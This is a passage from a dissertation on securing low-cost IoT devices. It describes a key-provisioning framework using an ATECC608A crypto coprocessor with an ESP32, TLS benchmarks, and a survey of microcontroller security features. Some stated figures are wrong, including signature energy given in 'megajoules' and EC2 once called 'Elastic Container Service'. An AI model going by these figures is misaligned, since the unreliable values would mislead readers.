Amazon Web Services (AWS) and Amazon Elastic Container Service (EC2) using a hardware-

protected private key, which provides the security features of TLS communication including 

authentication, encryption, and integrity.5 

6.1 Motivation 

Based on the previous Chapters, there is a need to protect sensitive data against software attacks. 

To protect security credential, we explore the use of low-cost cryptographic coprocessors 

(costing less than $1) to secure low-cost IoT devices based on microcontrollers (MCUs). With a 

cryptographic coprocessor chip that can serve as the root of trust, private keys may never leave 

the chip, and cryptographic operations over data from the main MCU are performed inside the 

chip. We present a secure key provisioning solution, denoted as SIC2, that stores private keys 

inside of a cryptographic coprocessor. Our provisioning solution protects keys from malicious 

 
5 The contents of this Chapter are based on our publication to IEEE ICPADS 2020 [8]. 
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personnel within the semiconductor manufacturing line as well as cyber attacks against those 

manufacturers [85]. We implement a proof-of-concept by pairing the ESP32 with the 

ATECC608A [27] crypto coprocessor ($0.53 at Microchip), which can provide mutual 

authentication, encryption, and integrity to a network. 

This Chapter’s major contributions can be summarized as follows: 

• To protect sensitive data against such attacks, we propose SIC2, a systematic solution for 

manufacturers to securely write private keys into cryptographic coprocessors to secure IoT 

devices. We use ESP32 as an example, pairing the MCU with a new cryptographic 

coprocessor, ECC608. We offer design and implementation criteria for developers. 

• We perform extensive experiments to validate the speed performance and energy 

consumption of SIC2. Our results show that connecting to a cloud server such as AWS IoT 

Core and Amazon EC2 can reduce the overall TLS handshake time by up to 82% and energy 

consumption by up to 70%. 

6.2 SIC2: Securing IoT with Crypto Coprocessors 

In this section, we discuss the need of cryptographic coprocessors for IoT devices and present a 

secure key provisioning framework. Then we provide a security analysis of the framework. 

6.2.1 Need for Crypto Coprocessors 

From our discussion in CHAPTER 4:  MCUs with secure boot can be compromised and leak 

cryptographic keys if these keys have no hardware protection. The TrustZone technology has 
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been integrated into Arm Cortex-M processors, denoted as TrustZone-M. However, TrustZone-

M can be compromised too [10]. If an application in a MCU directly accesses cryptographic keys 

for cryptographic functionalities, once the MCU system is compromised, the cryptographic keys 

will leak. Therefore, a crypto coprocessor chip is an ideal solution. The application feeds data to 

the crypto coprocessor, which stores the keys, performs cryptographic functionalities inside the 

chip and returns the results to the application in the MCU. We have examined over 40 MCUs 

and several IoT development boards and solutions. Only Microsoft’s Azure Sphere [86] and TI’s 

CC3220 [34] and CC3100MOD [87] have integrated crypto coprocessors with the MCUs. 

Fortunately, there are two standalone crypto coprocessor modules, Microchip’s 

ATECC608/ATECC508 (around $0.53/unit) and NXP’s SE050 (around $0.97/unit). Only a few 

development boards have begun to use these crypto coprocessor modules, including Microchip’s 

SAM L11 Xplained Pro Evaluation Kit and Arduino NANO 33 IOT. Our full dataset is provided 

in 0. 

6.2.2 Secure Key Provisioning 

We introduce our secure key provisioning model, which allows an IoT manufacturer to adopt 

low-cost crypto coprocessors without leaking secret keys written into the crypto coprocessors. 

Manufacturers will defer the provisioning of private keys and certificates to a secure facility, 

which is separated from the rest of the manufacturing process and responsible for storing data 

inside the crypto chips. Even this secure facility cannot access private keys, which are internally 

generated by the crypto coprocessor. 



146 

 

Secure key provisioning is a grand challenge while incorporating a crypto coprocessor into an 

IoT system. Without secure provisioning, private keys may be leaked by malicious personnel 

within the manufacturing line or by supply-chain attacks [85]. An ideal IoT solution is that each 

IoT device has at least one unique private key (in terms of public key cryptography) along with a 

certificate stored in the secure storage of the crypto coprocessor, and the public key associated 

with the crypto coprocessor can be safely derived by the party who wants it. To solve this key 

provisioning problem, we have to answer questions such as: who will inject a private key into the 

crypto coprocessor? And when? We provide a novel framework considering the entire 

development cycle of the IoT system. 

Our secure key provisioning framework is shown in Figure 6.1. It is composed of five main 

entities. The factory is a generic concept that will represent the complete semiconductor 

manufacturing line, which can be widely varied. This includes the fabrication, packaging, 

assembly, and testing of the hardware. The factory will manufacture crypto chips and IoT 

devices. Additionally, end users can purchase their IoT products from the factory. The secure 

facility will receive crypto chips from the factory and provision them with private keys and 

certificates. The secure facility will also distribute these certificates to the runtime server. The 

build server creates the firmware for the end device. The runtime server serves as the application 

server and authenticates the end device’s public key and certificate. Finally, the end user / end 

device is the final IoT product / the owner of the final IoT product. The factory and secure 

facility are part of the generic Manufacturer group, while the build server and runtime server are 

specific to the IoT Company. 
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Figure 6.1: Secure key provisioning framework for IoT devices. 

Manufacturing Phase. In this phase, the manufacturing line produces the hardware of the chips 

according to the specification by the IoT company. The build server will send a manufacturing 

request to the factory, including hardware requirements and the identity of the runtime server. 

The factory follows this request to manufacture and assemble the IoT device. This includes four 

key steps. Wafer fabrication constructs the silicon die to connect the electrical components 

together. Wafer probing performs electrical tests on the silicon chip. Packaging packages the die 

(i.e., block of semiconducting material) to protect the electrical components from damage. And 

assembly refers to the production of printed circuit boards (PCBs) and assembling the modules 

and chips onto the PCB. Assembly may occur either before or after the key provisioning phase. 

Key Provisioning Phase. In this phase, the secure facility performs the key provisioning process 

on the crypto coprocessor and generates the device certificates. After developing the product 

firmware, the build server sends it to the factory, who forwards it to the secure facility. The 

factory also notifies the secure facility about the runtime server’s identity. Then the secure 

facility provisions each crypto chip to internally generate a private key. Additionally, the secure 

facility will generate and store a unique device certificate into the device. The certificate 
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identifier, e.g., its Common Name, should be unique to each certificate; for instance, it can be 

derived from the identity of the crypto chip, such as its serial number. Next, the secure facility 

will configure the chip such that its public key and certificate are readable and its private key is 

locked from read/write access. Finally, the secure facility will upload the firmware to the chip 

and perform some final testing to ensure that the crypto coprocessor has been correctly 

provisioned. The secure facility distributes the device certificate to the runtime server, who shall 

save these certificates to a registry. 

Device Authentication Phase. In this phase, the end user obtains the finished product and 

authenticates it to the runtime server using the key stored on the crypto chip. The end user will 

order the product from the factory. Then the user turns on the device and sends an authentication 

request to the runtime server, which includes the public key of the crypto coprocessor. The 

runtime server searches its certificate registry to ensure the validity of the public key. Then it 

will initiate a challenge-response procedure to ensure that the end device owns the public key. 

The end device will use its private key to sign a challenge and prove ownership of the key. Once 

authentication is complete, the runtime server and end user can proceed with the normal 

application. 

6.2.3 Security Analysis 

With our defense enabled, all software attacks in this Chapter will fail to compromise the private 

keys because they will no longer be stored in the firmware; the key cannot be read or 

overwritten. Based on the framework, it can be seen that the crypto chip is provisioned in a 

secure environment, and that a malicious user or factory worker can never steal the private key. 
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One issue is that a factory will manufacture many different products, and the runtime server must 

only accept certificates which belong to its own products. To address this, the runtime server will 

receive certificates from the secure facility and can know ahead of time which certificates to 

trust. In this way, the runtime server will reject certificates from devices that were not 

provisioned by the secure facility. Additionally, the framework can be extended to provision 

private keys for other devices besides crypto coprocessors. We present a proof-of-concept with 

the ESP32 in Section 6.3.3. 

It is worth discussing that the key provisioning framework is vulnerable to hardware attacks such 

as hardware trojans. For example, a malicious third party could intercept the crypto coprocessors 

and modify the integrated circuits (ICs) before the secure facility receives them. Our framework 

does not immediately protect against such attacks, and they are out-of-scope for this research. 

That said, there are various known strategies for detecting hardware trojans. For instance, 

manufacturers can use formal verification techniques to validate certain properties of the IC [88]. 

After the manufacturing stage, the secure facility or another entity can fingerprint the IC of the 

crypto coprocessor using side-channel analysis such as power consumption, temperature, and 

electromagnetic radiation [89]. 

6.3 Proof-of-Concept of SIC2 

As a proof-of-concept, we have implemented SIC2 via the ESP32 and ECC608 to achieve 

software security. The ECC608 chip will store a 256-bit ECC private key that can serve as the 

root of trust for many applications, including network security via X.509 certificates and the TLS 

cryptographic protocol. In the case of a software exploit, the developer does not need to worry 
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that the private key has been compromised, since the key will be stored in the secure ECC608 

chip instead of the compromised ESP32 chip. In addition, the ECC608 provides hardware 

acceleration of cryptographic functions such as ECDH and ECDSA allowing the ESP32 to 

authenticate to a network faster. Furthermore, we have combined the ESP32 and ECC608 with 

the DHT22 temperature and humidity sensor from Adafruit [90]. A prototype of our defense can 

be found in Figure 6.2. This project was written in ESP-IDF version 4.0. 

 

Figure 6.2: Schematic of ESP32 with ECC608 crypto coprocessor and DHT22 

temperature/humidity sensor. 
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6.3.1 ATECC608A Overview 

The ECC608 comes packaged in the Small Outline IC (SOIC) format. In the manufacturing line, 

the SOIC may be directly soldered onto a PCB for maximum area efficiency. Alternatively, a 

user may solder the SOIC to a socket adapter which can be used on a breadboard. Figure 6.3 

illustrates the pairing of an ESP32-based development board with the ECC608 on a socket 

adapter. 

 

Figure 6.3: SIC2 hardware implementation proof-of-concept. 

The ECC608 contains an EEPROM which is capable of storing up to 16 keys, certificates, or 

user data. Storage regions are organized into slots. The slot and its corresponding key may be 

configured in various ways. Our configuration allows the ECC608 to generate and verify 
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signatures and extract the public key. The private key cannot be read or modified. The ECC608 

may also generate a certificate signing request (CSR) from the private key. This is necessary for 

obtaining a valid X.509 certificate. To prevent malicious configuration or overwriting of data, 

the user should lock the configuration and data memory zones. 

A device can communicate with the ECC608 via the CryptoAuthLib software library [91]. 

CryptoAuthLib allows an MCU to communicate with the ECC608 via the I 2C protocol to lock 

the memory zones and send other commands. The host MCU and ECC608 may also share a 

mutual input/output secret, which obscures the I 2C traffic by encrypting data with the secret 

value. This results in a safer I 2C channel. 

To achieve network communication, we use Mbedtls [92], a lightweight crypto library that 

implements TLS functions on embedded systems. We have modified this library to outsource 

private key operations to the ECC608. The most critical of these operations is the signature 

generation function, which is used to sign a challenge packet from the server and prove 

ownership of a certificate. We have also added support for signature verification and ECDH 

establishment in cases where the server provides an ECC-based certificate and supports the 

ECDH algorithm. Altogether, the necessary modifications to Mbedtls are quite minimal, as the 

majority of the code base remains untouched. 

Apart from secure key storage, the ECC608 can serve a WiFi-enabled application in other ways. 

For instance, the ECC608 provides a secure boot feature that can validate a firmware; this can 

provide additional security to chips such as Arduino or ESP8266. If the ECC608 stores the 

device certificate or CA certificate, then TLS performance could potentially increase even 
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further. Finally, each ECC608 contains a 72-bit unique serial number that can be used to identify 

the chip. 

6.3.2 Integration with ESP32 

To combine the ESP32 with the ECC608, we provide details for a complete hardware and 

software implementation. The CryptoAuthLib and Mbedtls libraries must be ported correctly to 

compile within ESP-IDF’s build system. 

We have paired the crypto chip with a development board that incorporates ESP-WROOM-32 

module and 4 MB external flash. To utilize the I 2C interface, we use GPIO ports 15 (SCL) and 

4 (SDA) on the ESP32, although other ports such as 21 and 22 can be used. The power supply of 

the ECC608 connects to the ESP32’s 3.3V output pin. We have soldered the ECC608 to a SOIC 

socket adapter. Figure 6.3 illustrates our hardware setup on a breadboard. 

We have used Atmel Crypto Evaluation Studio (ACES) to set the configuration parameters of the 

ECC608. ACES is a programming software that can communicate with the ECC608 via an 

external programmer, such as the ATSAMD21 board [93]. 

We have developed a provisioning app that generates an ECC private key in slot 0 and 

corresponding X.509 CSR. It will also lock the data zone once the private key is set. To port 

CryptoAuthLib to ESP-IDF, we have cloned the source code from GitHub and added a 

“CMakeLists.txt” build file to the root directory. The build file specifies the source and header 

files of this library. The library contains a hardware abstraction layer that specifies 
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communication settings with many devices including the ESP32 over I2C; this setting is included 

as a compile option in the build file. 

In addition, we have developed an app that connects with a remote server via MQTT over TLS. 

In our prototype, we connect to an EC2 node where the server and CA certificates have been 

generated using ECC private keys. In this way, the ECC608 can be used to verify these 

certificates and generate the session key via ECDH. 

Our app integrates the CryptoAuthLib and Mbedtls libraries. Like CryptoAuthLib, we write a 

"CMakeLists.txt" file for Mbedtls that includes the required source files as well as dependencies 

to CryptoAuthLib. We have modified the ECDSA and ECDH source files included in Mbedtls. 

We have written alternative functions in these source files which can be enabled or disabled in 

the port directory, via a configuration file. In ECDSA, we write function overloads for signature 

generation and signature validation which offload these operations to the ECC608. The functions 

atcab_sign and atcab_verify_extern provide the required ECDSA operations. In ECDH, we 

overload the public key generation and shared key generation functions. The function 

atcab_genkey will generate a key in the temporary key slot, while atcab_ecdh_tempkey will 

establish the shared key.  

6.3.3 Secure Provisioning of the ESP32 

The ESP32 can provide flash encryption and secure boot to prevent readout and modification of 

the firmware. These features rely on two private keys stored in the secure eFuse memory. 

However, enabling these features presents a challenge due to the security risks involved in key 

provisioning. 
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The details for enabling the ESP32’s security features are as follows.  

• Flash Encryption: The programmer should use Espressif’s build framework to compile the 

bootloader to support flash encryption. During the boot sequence, the bootloader will detect 

flash encryption is supported, and the hardware will generate a key to store in the eFuse. 

Then, the chip will encrypt the complete flash contents.  

• Secure Boot: The programmer should compile the bootloader to support secure boot. On first 

boot, the ROM will generate a secure boot key to store in the eFuse. Then, the ROM 

generates an AES-based SHA digest over the bootloader using the secure boot key. The 

digest is stored in the flash. The programmer will also sign the firmware with an ECC private 

key, while the ECC public key is stored in the bootloader to verify the firmware. 

A reliable and trusted secure facility can meet the provisioning requirements of the ESP32. 

Similar to the ECC608, the ESP32 is fully capable of generating and storing its own private keys, 

which significantly reduces the risk of exposure. As long as the build server has compiled the 

bootloader with the security features and the firmware has been signed, the secure facility only 

needs to upload these images to the flash, which will trigger the ESP32 to enable the security 

features. The secure facility can also perform some tests to check that security has been enabled. 

This ensures that the private keys are never exposed to anyone. 

6.4 Evaluation 

In this section, we discuss the area overhead of the ECC608 that is added to an MCU. We also 

explore the improvements to the speed and energy consumption of the TLS handshake provided 
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by the integrated ECC608 crypto chip. For performance assessment of the ESP32 security 

features, the reader can refer to Appendix B. 

6.4.1 ECC608 Area Overhead 

PCB size is an important factor when consider IoT production costs. We have calculated the size 

of the ECC608 and WROOM and determined the area overhead of this crypto chip. The physical 

dimensions of the WROOM are roughly 459 mm2, while the ECC608 dimensions are about 29.4 

mm2. This results in an area overhead of about 6.4% relative to the WROOM module. When 

considering the area of the overall circuit board – which may encompass many components and 

occupy a much larger physical space than the WROOM – this shows that the area overhead of 

the ECC608 is quite minimal and will likely have an acceptable impact on production costs for 

IoT companies. 

6.4.2 AWS IoT Core Versus EC2 

We have measured the network performance of SIC2 on Amazon Web Services (AWS) IoT Core 

and Amazon Elastic Compute Cloud (EC2). AWS IoT Core is an IoT management cloud service. 

AWS IoT Core can generate certificates for the end user that are signed by the Amazon Root 

CA. AWS IoT Core also serves as an MQTT message broker, meaning end devices can connect 

to AWS using MQTT. This broker uses TLS on port 8883, allowing for a protected connection. 

Meanwhile, EC2 is a service that allows users to fully configure and run virtual machines in the 

cloud. Our EC2 instance runs Ubuntu 18.04. To set up MQTT over TLS, we used the Mosquitto 
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software which can be used to establish an MQTT broker; Mosquitto can be configured to use 

TLS for mutual authentication and encryption, similar to AWS IoT Core. 

The difference in the network connection between AWS IoT Core and EC2 lies in their server 

certificates. During the TLS handshake, AWS IoT Core will present a server certificate signed by 

an RSA private key, while EC2 has been configured to use a certificate signed by an ECC private 

key. This means that during the TLS handshake, the ECC608 cannot be used to verify the AWS 

certificate; it can only be used to prove ownership of its own certificate. In addition, AWS IoT 

Core does not support a cipher suite with ECDH, so the ECC608 cannot be used to negotiate the 

session key. However, the EC2 instance has been configured to support ECDSA and ECDH, so 

the ECC608 can take full advantage of its hardware acceleration when connecting to this server. 

6.4.3 ECC608 Speed 

The ECC608 contains hardware acceleration of crypto operations, resulting in much better 

performance when compared to equivalent software implementations. We have measured the 

TLS handshake time between a remote server and a standalone ESP32 versus one paired with the 

ECC608. We observe how clock speed impacts the handshake time by setting the ESP32 CPU 

speed to 240, 160, or 80 MHz. We also compare performance between AWS IoT Core and an 

EC2 server, the latter of which uses an ECC-signed certificate and can perform ECDH with our 

ESP32. Each benchmark was executed 100 times, and we recorded the average runtime. 



158 

 

 

Figure 6.4: TLS handshake time with AWS IoT Core. 

Figure 6.4 shows the total handshake time when connecting to AWS IoT Core, while Figure 

Figure 6.5 measures the EC2 handshake time. Connecting to AWS IoT Core does not impact the 

connection time so drastically, since the ECC608 only uses the signature generation function to 

prove ownership of its certificate.  
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Figure 6.5: TLS handshake time with AWS EC2. 

However, when connecting to EC2, the handshake time reduces significantly, as much as 82% 

when the CPU clock speed is set to 80 MHz. This is because the ECC608 can also verify the 

server’s certificate and perform ECDH to derive the shared session key. It can be observed that 

these operations form the majority of computation overhead during the handshake, as the CPU 

clock speed has almost no impact on the handshake performance when the ECC608 is in use. 
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Figure 6.6: Time to perform ECDSA signature generation. 

Figure 6.6 and Figure 6.7 show metrics for ECDSA signature operations. In the worst case of 80 

MHz, the ESP32 takes roughly 1.3 seconds to generate a signature and 2.3 seconds 21 to verify a 

signature. By comparison, the ECC608 can consistently perform signature generation and 

verification in about 0.25 seconds. 
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Figure 6.7: Time to perform ECDSA signature verification. 

Finally, we measure the time delay of ECDH which establishes the session key among the client 

and the server. Figure 6.8 shows these results.  

 

Figure 6.8: Time to perform ECDH. 
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In the worst case of 80 MHz, the standalone ESP32 can perform ECDH in about 2.2 seconds. In 

comparison, the ECC608 reduces this latency to about 0.2 seconds. These results show that the 

hardware acceleration capabilities of the ECC608 can greatly benefit the networking 

performance of IoT applications. 

6.4.4 ECC608 Energy Consumption 

To complement our performance metrics, we have also measured the energy consumption of 

ESP32 when performing the TLS handshake, ECDSA, and ECDSA operations. At 80 MHz, the 

crypto chip reduces power usage of the TLS handshake by about 70%. ECDSA and ECDH 

benchmarks also reduce their individual energy consumption with the crypto chip. For instance, 

at 80 MHz, the ECC608 can perform the signature generation while drawing 49.8 megajoules, 

while the standalone ESP32 will draw 252 megajoules under this operation. These results are 

consistent with the signature verification and ECDH key exchange benchmarks. 

Figure 6.9 showcases the handshake energy consumption (in joules or watt-seconds) with AWS 

IoT Core. 
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Figure 6.9: TLS handshake energy consumption with AWS IoT Core. 

Figure 6.10 shows the handshake energy consumption with EC2. Note that the ECC608 itself 

also contributes to the total energy consumption, since it draws power from the ESP32. Despite 

this, our results indicate that ECC608 greatly reduces power of the whole system when all its 

hardware acceleration features can be employed. 
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Figure 6.10: TLS handshake energy consumption with AWS EC2. 

Figure 6.11 shows the energy consumption of the ECDSA signature generation function with and 

without the ECC608. 
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Figure 6.11: Energy consumed while performing ECDSA signature generation. 

Figure 6.12 demonstrates the energy consumption of ECDSA signature verification. Without 

ECC608, the ESP32 may consume over 400 joules performing this operation; by contrast, using 

the ECC608 lowers the energy consumption to under 100 joules. 
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Figure 6.12: Energy consumed while performing ECDSA signature verification. 

Finally, Figure 6.13 shows the energy consumption of ECDH and deriving the shared secret key. 

 

Figure 6.13: Energy consumed while performing ECDH. 
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6.5 Related Work 

Broadly speaking, a crypto coprocessor combines the features of a trusted execution environment 

(TEE) for cryptographic functions with the secure storage of digital keys. A TEE is a secure 

enclave within a processor that guarantees confidentiality and integrity of its code and data. 

Examples of popular TEEs include ARM TrustZone [7] and Intel Software Guard Extensions 

(SGX) [94]. The TEE of a cryptographic coprocessor protects the code integrity of functions 

such as key generation, signature generation and verification, host authentication, and other 

crypto operations, as well as the integrity of the data generated by those functions. Moreover, a 

crypto coprocessor guarantees secure storage of digital keys using a hardware root of trust. 

Arguably the most common crypto coprocessor in the world is Trusted Platform Module (TPM) 

[95], which is typically implemented in modern PCs such as Microsoft Windows. 

There has been some research that applies TEE and secure storage to other IoT applications and 

threat models. For instance, S. Sidhu et. al., [96] consider the threat of Hardware Trojan attacks 

in IoT. To provide an extra layer of security, the authors recommend the usage of hardware such 

as a Hardware Security Module (HSM) or a Trusted Platform Module (TPM). S. Pinto, et. al., 

[97] propose IIoTEED, a platform for industrial IoT edge devices that meets real-time processing 

requirements and device security requirements, which is partially inspired by the TEE 

capabilities of TrustZone. Finally, G. Ayoade, et. al., [98] propose a model that uses TEE 

technology to accesses sensitive data securely in an IoT network. In their model, contract-based 

blockchain is proposed to define usage permissions to that data, and the hash of the data is stored 

in the blockchain.  
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When observing IoT devices on the market, we have found only two that implement a crypto 

coprocessor, the MT3620 [99] and CC3220 [100]. The MT3620 is used in the Microsoft Azure 

Sphere IoT platform. It contains a security sub-processor called Pluton that implements a 

hardware root of trust and cryptographic acceleration for security features such as ECDSA-based 

secure boot, remote attestation, and certificate-based security such as TLS. Security features are 

also enforced via an eFuse memory block, similar to the ESP32. The CC3220S a low-cost MCU 

by TI and the successor to the CC3220. It contains a Network Processor Subsystem (NWP) with 

a dedicated ARM MCU to handle hardware accelerated WLAN and Internet connections. The 

NWP also supports secure key storage, cloning protection, secure boot, and other security 

features.  

6.6 Conclusion 

In this Chapter, we explore how cryptographic coprocessors may offer security protection to 

low-cost MCU based IoT devices by providing a hardware root of trust for private keys and a 

secure execution environment which is physically isolated from the host MCU. Software attacks 

are a major concern on IoT devices. In the previous Chapter, we demonstrated several format 

string attacks on the popular ESP32 MCU. To thwart against these attacks, we pair the ESP32 

with the ATECC608A crypto coprocessor, show how a manufacturing facility may provision 

private keys securely, and present implementation details on pairing the ESP32 with the 

ECC608. Finally, we show that the addition of a cryptographic coprocessor can advance the 

network performance of MCU based IoT devices by decreasing the TLS handshake time and 

energy consumption.  
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CHAPTER 7:  CONCLUSIONS AND FUTURE WORK 

This research explores the security landscape of IoT systems and devices. We highlight various 

security vectors including hardware security, system/firmware security, data security, networking 

security, and software security. We show how modern low-cost IoT hardware can meet these 

security requirements and recommend different strategies for implementing those requirements. 

Using the ESP32, CC3220, ESP8266, and various crypto modules and coprocessors, we 

extensively validate the networking and crypto performance of these MCUs and show that the 

performance needs of many IoT applications can be met by low-cost hardware. 

However, even with adequate security features available to vendors, it is widely known that IoT 

devices often leave such features disabled. To supplement this knowledge, we focused our 

attention on finding vulnerabilities in IoT servers, which interconnect millions of IoT devices 

and often serve as a single point of failure due to hardcoded connection parameters within the 

device firmware. As our use case, we designed a fuzzer for the MQTT communication protocol, 

and we use Markov chaining to implement both generation-guided fuzzing and mutation-guided 

fuzzing models. We observe responses from the servers via TCP traffic or via STDOUT and 

STDERR file streams. We targeted popular MQTT implementations such as Mosquitto and 

EMQX and found 6 zero-days, generating 2 CVEs. 

We then shifted software security of IoT devices and showed that they can be compromised 

using standard software attacks, such as the format string attack. When an IoT device is 

compromised, the consequences may be denial-of-service, compromise of the code integrity, or 

credential leakage; there are physical consequences too. Credentials are often directly linked to 
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the identity of a device because they authenticate the device to a server. When the credentials are 

leaked, an adversary can spoof the device and send fake data to the server, which threatens the 

integrity of the whole system. In our attacks, we used the ESP32 as a proof-of-concept and 

launch five distinct attacks, including stack leakage, arbitrary data leakage, arbitrary data 

overwriting, control flow hijack, and code injection. Other vulnerabilities such as stack-based 

buffer overflow are also possible on these devices. 

We then expanded our fuzzing method to assess the security of smart building devices and 

building automation systems (BAS). While fuzz testing has been conducted on some KNX end 

devices before, our work is among the first to use fuzz testing to rigorously test all components 

of a BAS, including end-devices, interfaces, and smart building automation software, which may 

be used to remotely communicate with and program smart building devices. We discovered 

vulnerabilities in various BACnet and KNX devices as well as popular BAS frameworks such as 

BACnet Explorer. Our method applied packet probing byte-by-byte to network packets and 

monitored responses from the target, which afforded us insight into the protocol structure at a 

fine granularity. We also developed a novel code coverage algorithm based on dynamic 

instrumentation that leveraged network-layer footprints in the application. Finally, by monitoring 

the timing of communication between devices, we could confidently avoid input loss by sending 

fuzzy packets at a carefully timed interval so as to avoid desynchronization issues. 

Finally, we proposed the identity protection of IoT devices by pairing the communication private 

key with a secure crypto coprocessor. The coprocessor serves as a hardware root of trust and 

implements a trusted execution environment (TEE) for important crypto functions such as 

authentication, signature generation and verification, session key generation and storage, and so 
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forth. As a use case, we paired the ESP32 MCU with the ATECC608A crypto coprocessor and 

design a temperature/humidity sensor that connects to AWS IoT Core and AWS EC2. We also 

proposed a secure key provisioning framework that protects these private keys against malicious 

actors within the semiconductor manufacturing line and supply-chain attacks.  
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APPENDIX A: SURVEY ON HARDWARE SECURITY OF MICROCONTROLLERS 

  



173 

 

We conducted a survey on the state of the art for MCU hardware security, including the usage of 

crypto coprocessors, secure key storage, and trusted execution environments. Secure key storage 

means that the key is protected by a hardware root of trust, whereas trusted execution means that 

the crypto operations themselves are implemented in hardware and tamper-proof. Without such 

features, an attacker may confiscate secret data on an IoT device. Table  displays our full MCU 

dataset. 
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Table A.1: The full MCU dataset for hardware security of IoT devices. 

Device Manufacturer Processor Crypto 

Coprocessor 

Secure 

Storage 

Trusted 

Execution 

Other 

Security 

A20 Marsboard Cortex A7 No No No No 

A64 Allwinner Cortex A53 No Yes Yes Yes 

AR9331 Atheros MIPS 24K No No No No 

BeagleBone Green Seeed Studio Cortex A8 No No No No 

BLE112 Silicon Labs Intel 8081 No No No No 

CC2650 TI Cortex M3 No No Yes No 

C3100M0D TI Cortex M3 No No Yes Yes 

CC3220S TI Cortex M4 Yes Yes Yes Yes 

CDXD5602 Sony M4F No No No No 

DM3725 TI Cortex A8 No No No No 

eMote .Now Samraksh Cortex M3 No No No No 

Octa 5422 Exynos Cortex A15 No Yes Yes Yes 

ATmega32U4 Atmel AVR No No No Yes 

H5 Allwinner Cortex A53 No No Yes No 

i.MX 6SoloLite NXP Cortex A9 No Yes Yes Yes 

i.MX RT1060 NXP Cortex M7 No Yes Yes Yes 

Jetson AGX Xavier Nvidia Arm V8 No Yes Yes Yes 

Jetson Nano Nvidia Arm A57 No No Yes Yes 

Kinetis KL8x NXP M0+ No No Yes Yes 

Kinetis MK20 NXP Cortex M4 No No No Yes 

LPC5411 NXP Cortex M4 No No No Yes 

MKW41Z NXP Cortex M0+ No No Yes Yes 

MSP430 TI MSP430 No No Yes No 

MT3620 MediaTek Cortex A7 Yes Yes Yes Yes 

MT7620n MediaTek MIPS 24KEc No No No No 

MT7687F MediaTek Cortex M4 No No Yes Yes 

MT8163 MediaTek Cortex A53 No No Yes No 

nRF52832 Nordic 

Semiconductor 

Cortex M4 No No Yes No 

nRF52840 Nordic 

Semiconductor 

Cortex M4 No No Yes Yes 

NuMicro M487 Nuvoton Cortex M4F No No Yes Yes 

Omega2S Onion MIPS 24K No No No No 

Quark SE C1000 Intel Quark No Yes No Yes 

Quark SE D2000 Intel Quark No Yes No Yes 

RK3399 Rockship Cortex A72 No No No No 

SAMD21 Microchip Cortex M0+ No No No Yes 

SAMD5 Microchip Cortex M4F No No Yes No 

SAML11 Microchip Cortex M23 No No Yes Yes 

SMART 

AT91RM9200 

Microchip ARM920T No No No No 

STM32F0 ST Cortex M0 No No No Yes 

STM32F2 ST Cortex M3 No No Yes No 

STM32F7 ST Cortex M7 No No Yes Yes 

SM32L5 ST Cortex M33 No No Yes Yes 

STM32WB ST Cortex M4 No Yes Yes Yes 

X86 ULTRA UDOO Pentium 

N3710 

No No Yes Yes 

Zynq-7000 Xilinx Cortex A9 No No Yes Yes 

TOTAL N/A N/A 2 / 45 (4%) 9 / 45 

(20%) 

28 / 45 (62%) 27 / 45 

(60%) 
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In total, we surveyed 45 MCUs. Our results show that only 2 MCUs contain crypto coprocessors, 

the MT3620 by MediaTek and the CC3220S by TI. Additionally, only 9 MCUs offered secure 

storage of private keys, and only 28 offered any form of trusted execution. Of those MCUs 

which offer a trusted execution environment, only 6 offer it for ECDSA and ECDH crypto 

operations, only 3 offer it for RSA, and only 12 support any variant of SHA. These results show 

that many modern MCUs lack the capabilities of secure key storage and trusted execution 

environments that can provide hardware security. 
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APPENDIX B: PERFORMANCE EVALUATION OF ESP32 SECURITY FEATURES 
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We have evaluated the following characteristics relating to the security features of the ESP32: 

binary file size overhead; firmware build time; and run time. 

We first evaluate the binary size overhead from incorporating flash encryption and secure boot 

into the application. The overhead arises from the firmware and bootloader needing to compile 

some additional functionalities into the image. To observe how the overhead may change with 

respect to app size, we have prepared a "large" app and a "small" app. The "small" app is a 

standard "hello world" program, while the "large" app implements a WiFi mesh/BLE client node. 

Table B. shows insight into the binary sizes when flash encryption and secure boot are 

enabled/disabled. 

Table B.1: Binary sizes on disk when ESP32 security features are enabled/disabled. 

Binary App Size Insecure Secure Change 

Bootloader Small 25.38 37.39 47.32% 

Bootloader Large 27.36 39.38 43.93% 

Firmware Small 144.32 196.60 36.23% 

Firmware Large 1407.10 1441.78 2.46% 

 

In both the small app and large app, the bootloader binary increases only by 12 kB when security 

settings are enabled. In the small app, the firmware increases by 52.3 kB, while the large app 

increases by 34.7 kB. From these results, we can infer that the binary overhead of these security 

settings remains fairly constant with respect to the program size. 

Next, we evaluate performance relating to the build time of the small app and large app. The 

build time encompasses the time required to compile, encrypt, and upload a program over 

UART. Note that when we run the full build process, all source files are compiled. In a real 
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development scenario, most files do not need to re-compile or re-encrypt every time a developer 

updates the app. Table B. shows our evaluation metrics. 

Table B.2: Build times (in seconds) when ESP32 security features are enabled/disabled. 

Benchmark App size Insecure Secure Change 

Compile Small 33.94 34.65 2.09% 

Compile Large 52.90 53.74 1.58% 

Encrypt Small N/A 3.21 N/A 

Encrypt Large N/A 19.53 N/A 

Upload Small 4.55 20.78 356.70% 

Upload Large 25.03 134.87 438.83% 

All Small 38.50 58.64 52.31% 

All Large 77.92 208.14 167.12% 

 

It can be seen that in both the large app and small app, compilation time only increases by about 

one second when security is added to the chip. This correlates with the size difference of the 

image binaries. Encryption time and upload time increase linearly with respect to the application 

size. We found that the small application can be encrypted in about 3.2 seconds and uploaded in 

20.8 seconds, while the large application takes 19.5 seconds to encrypt and 134.9 seconds to 

upload. The upload time for plaintext applications is considerably shorter. Our findings indicate 

that the full build process of a secure app can result in as much as a 167% time delay and up to 

208 seconds or more, while smaller apps suffer from less delay. However, the resulting delay is 

acceptable, given that it will only occur at times when the developer must update the application. 

Finally, we evaluate several run-time benchmarks on the ESP32 to measure the impact of flash 

encryption. The ESP32 contains internal flash encryption and decryption blocks which allow the 

internal SRAM to read and write to the encrypted flash memory over an SPI bus. As a result, we 
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expect that the instruction throughput will incur some delay. To comprehensively assess the 

performance of the ESP32, our benchmarks include addition and division of 8-bit integers, 32-bit 

integers, 64-bit integers, floating point numbers, and doubles, as well as the sine function using 

floats and doubles, the square root function, string copying, matrix multiplication, and finally, 

reading and writing to flash memory. The string copy benchmark would copy a string of length 

512 bytes from one address to another, while the "read to flash" and "write to flash" benchmarks 

operated on 32-byte payloads. We ran each benchmark one thousand times at 240 MHz clock 

speed and recorded the total runtime to execute all instances of a benchmark. Table B. shows the 

result of each benchmark. 

